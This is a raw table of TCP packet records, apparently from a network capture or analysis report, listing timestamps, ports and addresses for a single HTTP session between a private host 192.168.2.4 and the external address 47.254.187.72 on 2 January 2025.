Jan 2, 2025 20:34:51.788700104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.788711071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.788711071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.788723946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.788753033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.788753986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.788775921 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.788815975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.790956974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.790977955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.790988922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.790999889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.791012049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.791017056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.791027069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.791027069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.791038990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.791074038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.791099072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.793632984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.793646097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.793657064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.793675900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.793694019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.793695927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.793705940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.793715954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.793719053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.793728113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.793754101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.793766975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.798784971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798804998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798815966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798826933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798837900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798849106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798850060 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.798861027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798868895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.798871040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798882961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798892975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798913956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.798916101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798926115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798935890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.798942089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798953056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798962116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.798963070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.798989058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.799005032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.799007893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.799015999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.799056053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.800900936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.800921917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.800932884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.800945044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.800951004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.800955057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.800966978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.800976038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.800977945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.800988913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.801021099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.801042080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.802061081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.802073956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.802084923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.802108049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.802110910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.802129030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.802136898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.802140951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.802156925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.802167892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.802170038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.802189112 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.802205086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.856599092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.856616974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.856628895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.856641054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.856652021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.856662989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.856673956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.856688976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.856739044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.856786013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.858460903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.858473063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.858484983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.858495951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.858508110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.858517885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.858527899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.858530045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.858540058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.858558893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.858582020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.859394073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859405041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859415054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859426022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859443903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859452963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.859455109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859467030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859474897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.859477043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859487057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859497070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859508038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.859508038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.859524965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859540939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.859543085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859554052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859563112 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.859564066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859575033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.859599113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.859626055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.861001968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.861013889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.861061096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.861068964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.861072063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.861092091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.861099958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.861126900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.861131907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.861138105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.861150026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.861166000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.861201048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.861907959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.861964941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.861984968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.861994982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862006903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862018108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862029076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862032890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.862040043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862050056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862061977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862072945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.862097979 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.862099886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862109900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862119913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862143993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.862152100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862162113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862164021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.862174034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862183094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862195969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.862236977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.862252951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862263918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862273932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862283945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862297058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.862301111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862328053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862335920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.862350941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.862380981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.862402916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.862443924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.872400045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.872415066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.872433901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.872446060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.872451067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.872457027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.872476101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.872476101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.872488022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.872498989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.872505903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.872524023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.872539997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.875438929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.875448942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.875468016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.875479937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.875488997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.875500917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.875502110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.875519037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.875530005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.875530958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.875540972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.875550032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.875582933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.877865076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.877876997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.877887011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.877897978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.877907991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.877918005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.877919912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.877929926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.877938986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.877945900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.877986908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.880599022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.880610943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.880621910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.880634069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.880645037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.880649090 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.880656004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.880667925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.880678892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.880688906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.880719900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.885523081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885535002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885545015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885556936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885566950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885579109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.885585070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885601044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885601997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.885612965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885623932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885636091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885637045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.885644913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885658026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885659933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.885677099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.885698080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.885704041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885730028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885744095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.885750055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885761023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885771036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.885772943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.885792971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.885822058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.887635946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.887689114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.887697935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.887715101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.887728930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.887732029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.887743950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.887753963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.887764931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.887769938 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.887789965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.887803078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.888767958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.888777971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.888793945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.888804913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.888813972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.888823986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.888833046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.888835907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.888847113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.888853073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.888863087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.888890982 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.888904095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.943320990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.943389893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.943424940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.943438053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.943449020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.943459988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.943470955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.943475008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.943481922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.943530083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.945240021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.945256948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.945267916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.945277929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.945283890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.945293903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.945303917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.945303917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.945316076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.945324898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.945343971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.945363045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.947134018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947144032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947154999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947170973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947180986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947186947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.947226048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.947252035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947261095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947272062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947283030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947293043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.947302103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947318077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.947318077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947330952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947341919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947348118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.947351933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947380066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.947398901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.947419882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947455883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.947474957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947511911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.947737932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947748899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947765112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947782040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947793007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947794914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.947803974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947820902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947829962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.947844028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.947854996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.947879076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.947896957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.948643923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.948663950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.948674917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.948698997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.948719025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.948720932 CET	80	49730	47.254.187.72	192.168.2.4
